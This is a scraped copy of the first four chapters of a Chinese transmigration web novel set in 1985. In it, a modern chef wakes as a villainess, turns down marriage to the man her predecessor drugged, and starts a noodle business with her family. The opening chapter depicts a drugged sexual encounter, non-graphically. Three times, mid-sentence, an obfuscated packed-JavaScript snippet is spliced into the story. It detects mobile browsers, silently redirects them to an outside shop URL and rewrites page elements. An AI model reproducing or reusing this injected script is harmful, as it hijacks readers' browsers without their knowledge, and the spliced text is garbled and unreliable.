《穿书八五开局渣了男主》 1. 第 1 章 疼！ 手腕好疼！ 赵苏南迷蒙着醒过来。 医生做手术，需要把病人拷起来么！ 还是以双手举过头顶的姿势。 拷的也太紧、太重点了吧。 手腕要骨折了。 她扭动手腕，试图挣脱开束缚。 可结果没但没有挣开，反而被攥的更紧了。 一滴水，滴落她的额头。 赵苏南记得她是在正规三甲医院做的手术，按照手术室严格的无菌操作程序，怎么能出现手铐和水。 难不成她手术失败，死了！ 赵苏南浑沌的大脑，骤然清醒，强撑开沉重的眼皮，一个男人与她视线相对，两人相距一个巴掌的距离。 男人开口：“醒了。” 这谁？ 赵苏南锈住的大脑缓慢转动一圈，没找到关于这人的印象。 男人又开口：“醒了就走。” 这人眉眼长的特别好，尤其那一双眼睛，冷的如南极冰川，是个清冷系帅哥。 他松开钳制住她的双手，起身要离开。 赵苏南自己都不知道怎么回事，双手就在人脖子上了。 她抬起头，脸贴上他的脖颈，凉凉的，身体里那股无名火，降下去少许。 边贴边想，这人是谁送到她床上的，是闺蜜送来的，一送还送了这么个极品的。 赵苏南被邪火烧的全凭借本能做事，她向上贴近这人的右耳，唇轻轻碰碰他的耳垂：“你的名字是什么？” 听到这话，男人捏住她的下巴，额头布满细密的汗水，黑沉的眼睛如深渊，越来越冷：“赵苏南，你勾|引人的手段对我没用。” 没用，不见得吧。 赵苏南望着他眼底红血丝，握住这人捏着她下巴的手，另一只挂在男人脖颈上的手猛地用力，吻上他的眼睛，声音诱|惑|娇|软：“告诉我你的名字。” 男人偏头躲开，咬牙一字一句：“陆淮川。” “陆淮川，你的名字真好听。”赵苏南语气毫不掩饰的夸赞。 陆淮川皱眉盯着赵苏南，赵家搬到大院三年，也在这处平房和他做了三年邻居，像是第一次听到他名字一样。 他打量着赵苏南，巴掌大的脸，皮肤粉红，狭长的凤眼，弥漫一层水雾，没了平时高高在上的傲慢，多了明艳纯澈的可爱。 不过人还是熟悉的赵苏南的长相，确定了人，陆淮川把她那些行为，都认成了是她的手段，就要挣脱开她。 可她不知道哪来的力气，手紧紧揽着他的脖颈。 陆淮川身体因药物作用，血液流动加速，心脏咚咚咚跳动，理智即将崩盘。 这人一直躲着她，赵苏南不解，眼神打量这人迟疑说：“你，不行么！” 不行。 陆淮川没有想到赵苏南在这件事上胆子这么大，什么话都敢说。 赵苏南见陆淮川定在那，黑沉的眼睛盯着她，一手搂住他的腰，轻飘飘的吻又落在他的眼皮上：“陆淮川，你的眼睛也很好看，我好喜欢。” 陆淮川反手拉回搂他腰的手，扣在头顶上。 赵苏南昂头望着男人遍布红血丝的双眼，想了想：“你这样，会生病，不行这病不好治，耽搁的是你下半生的幸福。” 陆淮川青筋直跳，另一只手按在她的唇上，冰冷刺骨的眼神盯着她看，片刻寒着脸俯下身。 这人体力真好，身材极品，就是开车技术有点烂。 赵苏南想到。 不过开车，她的身体好像不大支撑她开车吧。 她混沌的脑袋重新开始转动，眼睛看着这颇具年代感的天花板，后知后觉感到了不对。 身上不痛了，插在身上那些维持生命的管子也没了。 并且，她看着视线里黝黑长发，摸了摸自己的头顶。 赵苏南她个癌症晚期患者，一个在icu住着的人，头发早就剃光了。 她眨了下眼睛，侧头看坐在床尾要被挺直，整理衣服的男人，他说他叫陆淮川。 赵苏南想到了闺蜜给她看的一本小说，小说男主的名字就是陆淮川。 那是一本男主复仇小说，闺蜜之所以推荐给她，因为其中男主的前妻，与她同名。 书中男主的前妻嫌贫爱富，造作傲慢，她嫌弃自己家庭贫困，嫌弃残疾的父亲给她丢脸，又嫉妒同个大院的女主，不仅家庭优渥，还找了个同样家庭优渥的对象。 于是为了压女主一头，她把主意打到了住在同一个院子里陆淮川身上。 她拿着不知道哪里买的药，下到了西瓜汁里，就这样，和陆淮川结了婚。 婚后陆淮川住在医院不回家，她的日子并没有好过，相反看着女主日子越过越好，住上了大房子，开上了小汽车，她还是住在这老房子里，嫉妒到发疯。 在一个自称医药公司的人拿着几十万巨额钞票找上门，让她帮忙将一个产品塞到陆淮川身边时，她答应了。 陆淮川因此被诬陷一起重大医疗事故与他有关，连自己的家人都被牵连，他的父母因此去世，哥哥入狱。 陆淮川就此黑化，消失，再次出现，已经改名换姓，右手残疾，左腿不良于行，成了港城知名医疗集团的董事长。 他找到了赵苏南，以丈夫的名义把她掠到港城，送进了一家名义上的精神病院，百般折磨，死后草草一裹，连埋在哪都不知道。 最后，陆淮川复仇成功，与早早已经离婚的女主，在一个夕阳下坐在颐和园的长凳上，共看黄昏。 很好。 现在她穿成了书中的恶毒女配，已经达成给陆淮川下药的成就，睡了陆淮川的成就。 赵苏南长叹口气，能重活一次不容易，她还不想死，尤其是被折磨着凄惨死去。 她斟酌着怎么开口，怎么开口拒绝陆淮川，拒绝陆淮川负责，拒绝陆淮川娶她。 这虽然下药的人是原主，可主动开车的人是她，陆淮川是无辜受害者。 要是在二十年代，她还能好好补偿人家，现在她穷光蛋一个，要什么什么没有，睡了人家还不想负责，还想和人家一刀两断，活脱脱一个渣女啊。 陆淮川听到身后身后女人的叹气声，系衬衫扣子的手一顿。 做了事情，就要承担后果。 他接着系剩下的扣子，淡淡说：“我在总院工作忙，回家时间不多，每月工资二百六十块，加上其余补贴，会按时派人交给你，结婚的事会和我爸妈提起，让他们来提亲。” 赵苏南霍地从床上坐起：“那个，陆淮川，今天的事是我的责任，是我见色起意，手段肮脏。”她瞥着听了她的话瞬间青白一片的脸，一咬牙，一闭眼：“对不起，我就是单纯的想睡你，我龌龊，我对不起你，我不想跟你结婚，我以后会离你八尺远的。” 陆淮川额头青筋直冒，他二十九年来这是第一次被一个女人气死。 他转过头，看见赵苏南现在的样子，火气怎么都发不出来。 她及腰长发凌乱披散在身上，身上一件白色吊带，白皙的皮肤上遍布红痕，两手手腕更是严重，红成一片，脸色苍白，双眼紧闭，睫毛颤动。 他梗了梗，又转回去，硬着嗓音：“随你。” 起身出门，重重踏着脚步，砰地一声关门，骑车走了。 赵苏南耳朵伸长了听，听见车声远了，毫不迟疑穿上衣服下床，呲牙咧嘴扶着腰，紧走着出门，飞一样回到对门自己家。 幸好原主家和陆淮川家在一处院子里住对门，不然这大下午遇到街坊四邻，可啥都解释不清了。 赵苏南回到自己房间，掀起衣服，看着两侧的腰，果然青了。 小心翼翼揉了揉，不敢耽搁，趁着父母还没回来，抓紧处理好痕迹。 赵父赵母到家已经五点了，赵苏南听到开门声，从床上起来，站在自己房间门口握住门把手，犹豫片刻，还是迎了出去。 两口子听到动静回过身，赵苏南的父亲赵建军把手上拿着的菜肉放地上，从车上拿下来一个包装完好的鞋盒，走过来递给她：“打开试试合不合脚，不合脚爸和你妈再去给你换。” 母亲苏芸站在笑着点头：“是，快试试，你爸挑了好半天。” 赵苏南视线落在两人身上，舍不得眨眼睛，自从五岁父母车祸去世，她已经整整二十年没有见过他们。 她眼眶发红，抱住眼前的爸爸，哽咽：“爸，我好想你。” 赵建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276526|198273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军一下慌了，苏芸也着急了，几步上前，拉着女儿：“苏苏，别哭，别哭，怎么了，告诉爸妈，谁欺负你了。” 赵苏南放开爸爸，又抱住妈妈，埋在她脖颈，闷声说：“没有，就是想你和我爸了，好想好想。” 苏芸安抚地抚着女儿的背，嗔怪：“不就一天没见么，肉麻什么。” 赵苏南擦擦眼睛，看着爸妈，露出个大大的笑：“就是想你们了。” 赵建军听女儿说想他，嘴角咧开笑，拿着鞋盒一个劲示意女儿去试。 赵苏南打开鞋盒子，里面是一双白色罗马凉鞋。 她摩挲着鞋盒子，现在是八五年，要父母卖好几个月的早餐，攒上半年才能买下来。 她眼眶发热，抿着唇，脱下拖鞋换上，展示给父母看：“合脚，谢谢爸妈。” 苏芸摸了摸女儿的头：“喜欢就好，进屋去看电视去，妈去做饭。” 赵苏南脱下新鞋，珍重地把它放到鞋盒子里：“妈，饭在锅里，把这收拾完就能吃了。” 苏芸有些意外地看着女儿：“今天这么勤快。” “我这段日子翻了不少菜谱，想让你和我爸尝尝我的手艺。” 赵建军听到这话，拖着瘸腿，一点一点走路：“把这两袋菜拿屋去，今晚可得好好喝两盅。” 赵苏南抢上一步，拎起地上的菜，边走边说：“保准下饭。” 晚饭赵苏南做了酱茄子土豆尖椒，蒸上一锅米饭。 三人坐上饭桌，桌子中间一大海碗的菜，浓油赤酱，点缀嫩绿的葱花香菜，色香味俱全。 赵建军拿着筷子，夹起一块茄子放到嘴里，软糯，鲜咸，配上一口米饭，香。 苏芸也没想到女儿的手艺变得这么好了，之前让她做饭，简单炒个土豆丝，炒成了一锅糊糊呢。 “苏苏，你什么时候学的这手，还真下饭。” 赵苏南边吃边道：“妈，酱茄子而已，很简单的，看着菜谱一学就学会了。” 赵建军一口气吃了半碗饭，端起酒盅喝了一口，乐呵呵说：“我闺女脑子聪明，手也巧，做什么都成。” 赵建军和苏芸两人只有赵苏南这一个宝贝闺女，在他心里，自己女儿是做什么都是好的，不好也能找出来好，那好的更是要夸出来更好，宠到不行。 苏芸坐在对面也跟着笑着点头说：“是，是~” 这一顿晚饭，赵苏南的嘴角就没有落下来过。 吃完饭，夫妻俩没用她沾手，生生说她做了饭，幸苦了，把她赶到房间去休息。 赵苏南拗不过父母，只好回房间。 她房间门没有关紧，耳边听着父母边干活，边小声说着话： “家里的钱不够了，下个月要交房租，你的药没了也该去买了。” “嗯，我让老二给我找了个活，一天两块钱，算上早餐店赚的，够交房租了。” “不行，你身体做不了重活，老二那边的活哪有轻松的。” “我心里有数，没事。” 赵苏南皱眉想着书中关于原身父母的内容。 她父亲在战场伤到了腿，心脏也落下了毛病，从前线退役回到了燕都。 因为是掩护领导那只队伍受伤，领导特意与陆淮川的父亲打了招呼，两口子有什么困难尽量帮忙。 陆父给安排了住的地方，又听说两口子想重操旧业卖早餐，又帮着办了执照，找了铺面。 就在陆淮川母亲上门说定婚事后不久，原身父亲因为搬重物心脏病发，抢救无效死亡。 赵苏南无意识握紧了手。 她爸出门赚钱，一是家里积蓄全都给了奶奶看病，二是原身要嫁人，要给闺女攒嫁妆。 现在她不用嫁人了，那赚钱的事她来想办法。 赵苏南五岁没了父母，叔伯舅姑家辗转着长大，直到十岁，入了一老师傅的眼，跟着他学习厨艺，二十五岁成为行政总厨。 凭她的手艺，赚上点钱，不是难事。 第二天，三点，赵建军夫妇起床，准备去早餐店预备今天要卖的包子馒头。 打开门，就看到自家女儿已经收拾好，坐在客厅等着他俩，看着他俩说到：“爸妈，今天我和你们一起去卖早餐。” 2. 第 2 章 赵苏南了解自己父母，直接和他们俩说去早餐店帮忙，他们俩一定是不肯的，还不如先斩后奏，收拾好等着他们俩跟着一起走。 果然，苏芸皱眉摆手：“睡你的去，店里有我和你爸，忙得过来。” 赵建军也跟着点头：“是，店里没有什么活，早上一会就忙完，在家里好好休息。” 赵苏南站起来，走过去拉住苏芸的手，向门外走：“妈，这都三点了，再不走就来不及啦！” “哎，你这孩子，什么力气这么大了。”苏芸常年做工干活的人，被自己闺女拉着就走了，竟然挣脱不开。 娘俩出屋了，赵建军紧跟在后面：“厨房里的备菜重，你们娘俩放着，我去拿。” 一家三口顶着星星月亮骑了二十多分钟车，到了自家早餐店门口。 赵建军夫妇骑的是辆三轮，里面是昨天拿回去，处理好的今天要用的备菜。 赵苏南骑的是女士自行车，去年过年送给她的新年礼物，本来她舍不得骑，要跟着爸妈一起坐三轮来着，她爸妈没让。 三人下了车，赵建军拿着手电筒开门，进屋打开电灯，赵苏南和母亲苏芸向里搬东西。 赵苏南借着灯光打量这间小店，大概二十多平的样子，大白墙，水泥地，靠右墙放置五张长桌，十个长凳，左边留了两人宽的过道。 最里面是厨房。 到了厨房里，有限的空间放置了锅碗瓢盆，一个石磨，案板，狭小的地仅能容下两人转身的地，她一进来就更加的挤了。 赵苏南到没有什么不适应，最初跟着师傅学艺，条件也和现在差不多。 但是因为这时不熟悉厨房的环境，就顺着母亲的力道出了厨房，站在门口观察。 “妈，咱家早餐店都卖些什么？” 苏芸边忙活，边说：“咱家卖包子、馒头，豆浆。” 赵苏南又问：“都是什么种类的包子馒头？” “咱家包子就两个馅，猪肉大葱，猪肉白菜，馒头卖白馒头，双色馒头，花卷，糖三角，配上豆浆。” 赵建军挽着袖子清洗泡发的黄豆，说到：“你妈做的包子、馒头，比国营饭店的面点师傅都好吃。”语气骄傲自豪的不得了。 “就你会吹。”苏芸嗔怪赵父道。 赵苏南笑着看父母拌嘴，跟着赞同：“我觉得我爸说的对。” 苏芸不理他们爷俩，拿出两个盆，把弄好的肉馅倒在里面，把收拾好的大葱，白菜用清水再好好清洗一遍，放到菜板上，准备开剁。 赵苏南在旁边观察了半天，这一会已经差不多把厨房熟悉的差不多了，接过母亲手上的菜刀：“妈，我来切葱。” 苏芸迟疑着说：“你能行么。” 赵苏南没有说话，用行动回应母亲的质疑。 她拿着菜刀，干脆利落地沿着葱身划上四道，再按着葱身“嚓嚓嚓”几下，眨眼功夫，十根葱就成了葱末。 苏芸不敢置信，赵建军也不知道，自己闺女什么时候学的切菜功夫，这利落劲，没有两年三年练不出来。 “苏苏，你这手刀工什么时候练的。”苏芸问道。 赵苏南知道一个五谷不分，连厨房都没下过的人，突然会做菜了，父母一定会怀疑她什么时候学的，她也早就找好了借口。 “我跟一位老师傅学的，那位老师傅看我有做饭的天赋，偷偷教我厨艺。” “你这什么时候学的，怎么也没告诉我和你爸。”苏芸皱眉，这年头讲究师徒父子，教了本事，就得磕头摆宴认师傅，这悄摸摸学了人家本事，这怎么能行。 “妈，六九年师傅因为成分问题，下乡了，后来再回来，身体就不好了，遗憾自己一身手艺没个传承的人；后来遇到了我，跟他学了本事，但是他也不想连累我，还叫我学了要保密，不能外漏。” 这话说完，赵建军和苏芸都有些沉默。 苏芸轻叹口气，接着又问：“那位老师傅现在在哪。” 赵苏南摇头：“不知道，我好久没见过他了。” 好久没见到了，那大概是不在了。 赵建军是个豁达的人，他道：“既然老人家把手艺传给了你，以后物色几个小徒弟，别让这份传承断了。” 赵苏南转身看着父亲，笑着道：“好。” 三人在厨房忙活开来，一屉屉的馒头包子，摞在一起，赵建军在门口点上灶，一个灶煮豆浆，另一个灶，蒸面点。 快到六点左右，路上开始有人，店里开始营业了。 “老板，来两个包子，都要猪肉白菜的，再来一碗豆浆。” “好嘞，屋里坐。” 赵建军拿起白瓷碗，倒上满满一碗热气腾腾的豆浆，撒上白糖端上桌，赵苏南捡上两个白胖的发面包子，端到客人面前：“两个包子，一碗豆浆，同志您慢用。” 来这吃早餐大多是附近居民，都是熟客，坐在这吃饭的是个二十多岁的青年，听到是个极悦耳的姑娘的声音，下意识抬头看过去。 赵苏南是做餐饮行业的，下意识露出个标准的微笑。 她长得好看，五官明艳，尤其那一双眉眼，笑起来更加生动。 吃饭青年脸皮煞时成了大红脸，手足无措。 赵苏南又笑了笑，转身去忙了。 边忙边感叹，这个年代的人还真是纯情，动不动就脸红。 这来卖包子馒头的街坊四邻，发现这常吃的早餐店多了个漂亮闺女帮忙，这闺女干活麻利不说，算账也算的又快又好，有那好打听的，当即问赵建军：“这是你家闺女。” 听到赵建军答是，忙不迭的夸赞：“你这闺女可真俊，专挑了你们夫妻俩优点长，这做事也好，这伶俐利落劲，比我家那几个强多了。” 苏芸和赵建军听的心里高兴，嘴上却道：“王姐，你家老四也有出息，前个考试，不还考了全班第一。” 他们互相吹捧，赵苏南不说话，只一味的微笑，算钱。 “王姐，这上学可得给你家老四多带条裤子，别又尿裤子，再被老师撵回来换裤子。”说话的女人嗓子略尖，听的刺耳。 赵苏南抬头看过去，是一穿着颇时髦的女人，高颧骨，细眼睛，盘着头发。 王姐朝那女人翻了个白眼：“那比你家儿子强，盲流子一样，小心哪天进了监狱，有你哭的。” 拿着打包好的馒头包子，撞了这女人的肩膀走了。 苏芸见人过来，不着痕迹挡在赵苏南身前，把她藏在后面，笑着道：“孙姐，今天还是老样子拿走？” 孙姐漫不经心抚了抚头发：“嗯，快点， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276527|198273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我赶时间。” 苏芸捡起四个包子，两个糖三角，两个双色馒头，装进油蜡纸里系好：“一共一块一。” 孙姐接过东西，把钱递给苏芸，扭腰走了。 送走了人，又开始忙活，直到八点左右，人才渐渐少了。 一家人坐在店里歇歇脚。 赵建军盛了两碗豆浆，放上满满一大勺糖端给赵苏南她们娘俩：“这忙的差不多了，收拾好我去找老二，晚上吃饭不用等我回来吃。” 赵苏南把豆浆转手推给她爸说道：“爸，我准备卖面条。” 赵建军一愣：“做面。” 赵苏南点头：“咱家这个小店，白天基本空着，做面条，招揽吃午饭，晚饭的客人。” 这时她想到的理由，只要现阶段能把父亲留住，等到卖面条赚了钱，父亲就更不可能去做重活累活，也就脱离了原书的结局。 苏芸摸了摸女儿的头：“苏苏，怎么想到要卖面条去了。” 赵苏南道：“我已经十九了，不能靠你和我爸养着，也该做点正事，赚钱养你和我爸了。” 苏芸还想反对，赵建军拍板：“那就去做，我和你妈都同意。” 苏芸望着这父女俩，无奈：“好好好，卖卖卖。” 赵建军想了想道：“这条十字街上倒有两家卖面的，卖的都是常吃的牛肉面，炸酱面，苏苏，你要卖什么面？” “卤肉面和酸辣粉。” 赵苏南想好了，要想快速打出来名气，就得迅速吸引住人，她要做卤肉面。 支一口大铁锅，卤上一锅卤肉简直香飘四溢，馋哭小朋友。 而酸辣粉，酸辣开胃，吃了第一顿，保准想吃第二顿。 赵建军和苏芸只会做一些包子馒头之类的，对面条这些完全不懂。 “做卤肉，应该需要挺多猪肉吧”苏芸问。 赵苏南点头：“需要五花肉。” 于是苏芸对赵建军道：“待会你带着闺女去菜市场找她大舅，让大哥给留些好五花肉。” 赵建军点头：“好。”又对着赵苏南说“闺女还需要什么，爸和你妈去卖回来。” 赵苏南想了想，把要用到的蔬菜和一些调料告诉她爸妈，剩余的其他的东西，只能她自己去卖。 这事情就这么说定了，三口人草草吃过饭，赵建军就拉着女儿，到菜市场找大舅哥，去晚了就找不到人了。 从小店到菜市场骑车大概半个小时路程，到了地方，赵建军下车来，带着女儿走进去。 这个点，菜市场热闹的紧，买菜的，卖菜的，都是人。 赵苏南跟在父亲身后，打量着菜市场的菜品。 萝卜，白菜，香菜，茄子等，大多是常见的蔬菜，但足以供应普通民众的日常需求。 走到大概最里面，紧邻西侧门，赵建军走到肉摊前，笑着打招呼：“大哥，今天怎么自己割肉卖肉了。” “六子手扭了，三顺吃坏肚子了，可不只剩我了。”苏强笑着摇头。 跟在她爸身后的赵苏南仰头看着自己的舅舅，默默感叹，这身高，一米九了吧，这魁梧的身材，都能装下两个她了，她大舅真霸气。 苏强也看到了满脸钦佩瞅着他的赵苏南，哈哈大笑打招呼：“大外甥女，别扭着脖子啊。” 3. 第 3 章 赵苏南被她大舅调侃，反手竖起大拇指：“大舅，你忒霸气了。”语气里满满的敬佩。 苏强又笑：“这夸的我爱听，来，这排骨拿回去，让你妈给你炖了。” 拿起一扇排骨，如同砍瓜切菜般轻松，剁成了大小不一的小块。 赵建军挥手拒绝，连忙开口道：“大哥，今天找你是来订肉的。” 苏强知道妹夫一家开着早餐店，生意还算不错，用的肉也多，爽快点头：“成，你要多少，我现在给你割出来。” 赵苏南道：“大舅，我准备卖卤肉面，你给我留一些带皮的五花肉，四天后要。” 苏强诧异地看着赵苏南：“大外甥女还会卤肉做面了？” 他这外甥女以前可是半脚都不踏入厨房一步的，什么时候学的卤肉手艺？ 赵苏南把忽悠父母的那一套说辞搬出来道：“跟着一个老师傅学的，家里的店整个白天都空着，就想着做点面食。” 苏强被赵苏南的说辞忽悠住了，开口道：“行，四天后来取，大舅给你留着最好的一块。” 肉的事情搞定了，父女二人也不耽误苏强的生意：“大哥，你忙，我和苏南就先走了。” 苏强拎着装好的排骨从摊位里走出来，一把塞进赵建军手里，拍拍妹夫的肩膀，对着爷俩道：“改天回家来，老爷子、老太太天天念叨着想你们三口呢。” 赵建军的肩膀被苏强蒲扇的大手下拍的生疼，推脱不开，拎着排骨：“大哥，有空就回去。” 苏强也不多留他们父女，肉摊今个就他自己，顾客多，不是个好说话的地。 父女俩坐上车，赵建军揉着肩膀，赵苏南笑道：“大舅的力气真大。” 赵建军也笑了：“可不是，你大舅随了你外公，当年第一次去你外公家，看见你大舅二舅还有你外公，扛着半扇猪跟扛棉花一样轻巧，坐凳子上身板笔直，生怕不满意我这个女婿，不把你妈嫁给我。” 赵苏南回想她大舅的身板，再来两个同样魁梧的外公、二舅，给人压力的确大。 父女二人边聊天，边卖着准备做面需要的东西。 再回到早餐店时候，都已经快中午了。 苏芸在店里守店，听到门口三轮车的声音，知道是父女俩回来了。 走出厨房一看果然是，赵苏南从车上下来，正把碗碟搬进屋里。 苏芸擦擦手，快走几步，从赵苏南手上接过来：“东西沉，快给妈。” 赵苏南偏过身，没让她妈接手：“今天和大舅说好了，四天后去取肉。” 今天的买的东西多，只有少部分是搬到店里来的，车上的那些菜，都是拿回家处理的。 赵建军把剩下的拿下来，坐到凳子上休息：“大哥身体挺好的，爸妈身体也好，就是想你和闺女了。” 赵芸倒了两杯水给他们爷俩，也坐下了：“也好几个月没有回家了，改天抽空回去看看。” 四月中旬的燕都开始热了，一杯温凉的水下肚，赵苏南舒服地长叹一口气。 “爸，妈，这两天咱们就先准备好，四天后正式开始卖面。” 做面这事赵建军和苏芸完全不懂，全部听自家女儿的安排。 “苏苏，卤肉面和酸辣粉你准备卖多少钱一碗？”苏芸问。 赵苏南想了想，做卤肉这卤汤必须要好，好的卤汤离不了中药材，这五花肉也不便宜，酸辣粉到还好，最贵的就是里面的肉末。 按照现在的物价，卖的太便宜肯定不行，赚不回来本钱，卖的太贵，根本不会有人来吃。 “卤肉面的话，五毛一碗；酸辣粉四毛一碗。” 这价格，有点贵啊，苏芸在心里道。 北街两家卖面的面馆，一家清真牛肉面，一家炸酱面打卤面，最贵的也才四毛一碗，她闺女卖五毛一碗，能卖的动么？ “是不是太贵了？” “一斤五花肉1.6一斤，一斤卤肉能切出一百一十片卤肉，一斤面粉3毛，能做出一斤二两的面条，一碗面三两，红薯粉一斤1元，一碗粉二两，再算上碗、碟，其余配菜的成本，4、5毛一碗不贵。”赵苏南道。 苏芸听赵苏南这么一算，自己也在心里合计了一下，这么算下来，卖4、5毛一碗的确不贵。 赵苏南看着爸妈，自信地道：“爸、妈，只要吃过我做的面的，保准会再来。” 赵建军笑着点头：“好，放心大胆做，我和你妈都支持你。” 有了父母的支持，赵苏南也不含糊，毕竟父母把家里剩下的钱全部都投在她身上，赚不到钱，下个月房租交不上不说，父亲的药钱可也要断了。 这四天，全家人把后厨重新装了一下，加了两个火灶，方便以后炒菜等，把闲置好久的铁锅拿出来，洗刷干净。这还是当年准备炸油货，特地找在铸造厂做学徒的苏家老二的两个儿子打的，可早餐店忙不过来，这锅也就闲置在家了，正好做卤肉用。 赵苏南这几天就开始打广告了，用木板做了两个招牌，上面写着面的名字，价格，早早挂在店内，来来往往吃早餐的客人，都知道赵家早点铺要卖面的消息。 大家都持看热闹的心思，尤其是孙姐，她家就是北街那家卖炸酱面打卤面的。 “这面可不是谁都能做的了的，一个小丫头放着好好的包子馒头不卖，做面，可别到时候赔的连早餐店都开不下去。”孙姐孙燕嘲笑道。 拜她所赐，附近的街坊老少都知道了赵家早点铺四天后要卖卤肉面喝酸辣粉的事。 这免费的宣传，赵苏南可要感谢那位赵姐一把。 四天后，正是准备做卤肉面的日子，早上还没等赵建军去苏强哪里取肉，苏强骑着自行车送过来了。 “大哥，我去取就好了，你怎么还给亲自送过来了？”赵建军忙接过苏强手上肉，说到。 苏强没用他接手，自己提着肉往店里走：“六子和三顺在肉铺呢，我闲着骑车就过来了。” 现在时间五点，天刚有些亮。 赵苏南没想到大舅会亲自来：“大舅，快坐。”转身去豆浆锅里盛了满满一大瓷缸子豆浆，放上糖，放到苏强面前。 “大外甥女，别忙了，我送完东西就走。”苏强把肉递给赵建军，笑着道。 苏芸也从厨房里走出来：“大哥，肉铺忙不过来，就让建军去取就行，还让你来跑一趟。” 苏强一挥手，不在意：“没事，六子和三顺忙的过来，不耽误事。” 他端起瓷缸子，咕咚两口，里面的豆浆就见了底了，一抹嘴，放下瓷缸子，从兜里掏出三百块钱，递给赵苏南：“这做生意，没钱可不行，这是三百，有你二舅的一百，外公外婆的一百，拿去用。” 赵苏南手里拿着这三百块钱，嗓子梗了梗：“大舅。”上辈子父母去世，师傅去世，每次碰到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276528|198273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难题都是自己硬挺着撑过来的，哪里体验过这种被长辈关心的感觉。 苏强摸了摸赵苏南的脑袋：“放心大胆去做，有什么事就跟大舅说，大舅给你撑腰。” 苏芸也没想到大哥是来给闺女送钱的，无奈道：“大哥，我和建军还有钱呢。” 苏强没好气瞪了自己妹妹一眼：“别以为我不知道，建军家老太太生病住院，钱都花差不多了吧，你们俩手里还哪来的钱，有事不说，跟自家人生分啥。” 苏芸和赵建军对视一眼都有些不好意思，赵建军开口道：“大哥，我和苏芸的钱还够…”话还没说完，就被苏强打断：“这钱是给我大外甥女的，又不是给你们俩的，行了，你们忙吧，我就回去了。” 苏芸哪能让大哥空着手走，急忙打包了十五个包子，让他带走。 苏强走了，苏芸让赵苏南把钱收好：“这是你大舅他们给的，就先收着，等赚了钱了，再给他们就是。” 赵苏南点头“我知道了妈。” 有了大舅的等家里人的支持，赵苏南心里赚大钱的火焰升腾的更旺了，她不光要自己赚钱，还要带着全家赚钱。 不过最开始，还是要把眼前的面做好。 早餐时间一过，八点没什么人了，把早餐的东西收拾好，大铁锅摆上，赵苏南要开始卤肉了。 这卤肉的好坏，就在那一锅卤汤。 好的卤汤，就算是卤鞋底子都难吃不了。 赵苏南这一手做卤味的手艺，是师傅带她去一户老太太哪学来了，那位老人家做了一辈子卤味，可惜家里的孩子都有各自的事业，国内外的跑，想找个徒弟，又眼光挑剔，没有瞧上的。 她师傅带着她去老人家哪里碰一碰运气，见到人后，老人家和她十分投契，这门手艺就交给了她，连带着还把养了多年的老卤汤也都给了她。 现在她到了这里，那老卤汤是没了，但她相信，只要她的手艺在，做出一锅老卤只是时间问题。 这卤汤，重要的是调味和中药材。 赵苏南按比例把沙姜，甘草，丁香，桂皮，小茴香，川穹，草果，橘皮，香叶，熟地等装在卤料袋中， 要想这卤汤透亮，就不可靠酱油调色，最好是炒制糖色调色。 大铁锅烧的热了，下入油和冰糖，小火慢炒，炒至枣红色起泡。 放入热水化开，重新加入清水，放入卤料包，煮开，处理干净的带皮五花肉放入其中，小火慢炖开煮。 趁着煮肉的功夫，把做酸辣粉需要的红薯粉泡好，留下的五花肉剁成颗粒状的肉末，放入锅中煸炒至微微泛着焦黄，盛出备用。 做酸辣粉做重要的就是那一份独特的酸辣。 干红辣椒打成中粗细辣椒面，放入调料，热油一泼，“刺啦”声音响起，辣椒面在油中上下跳动，香气四散。 就在赵苏南母女俩在厨房备菜时，外面那口卤肉大锅，香味随着水蒸气的蒸发，在大街小巷里飘荡。 “这什么味，这么香！” “谁家做肉了，大门也不关紧了，都飘我家来了。” “这味，像是卤味，味道正宗，谁家做的？” “我想起来了，赵家早点铺今天卖卤肉面，这香味不会是他家卤肉香飘过来了吧。” “这香味也太霸道了，去看看是不是他家。” 说这话的人，脚不自觉朝着赵家小店走去。 4. 第 4 章 顺着卤肉香走，距离赵家小店越近，香味越浓。 走到近前，果然是他家店里正在做卤肉。 只见门口那口铁锅里，棕色透亮的卤汤‘咕嘟、咕嘟’冒着大泡，带皮五花肉在卤汤里炖煮，已经成了金黄色。 眼睛看着锅里颤颤巍巍的五花肉，霸道的卤肉香气不讲道理地强硬地向人鼻子里面钻。 找过来的众人，不自觉的开始吞咽口水。 现在是中午十点半，刚刚觉得没有那么饿的众人，摸了摸胃部。 “真香啊，多少年没闻到这么香的卤肉味了。” “香是香，这价格也不便宜，五毛一碗呢，北街那头吃一碗牛肉面也才四毛呢。” “可不是，在说这做面条的是老赵他闺女，听说才十九，能做出来的面条能好吃么？” 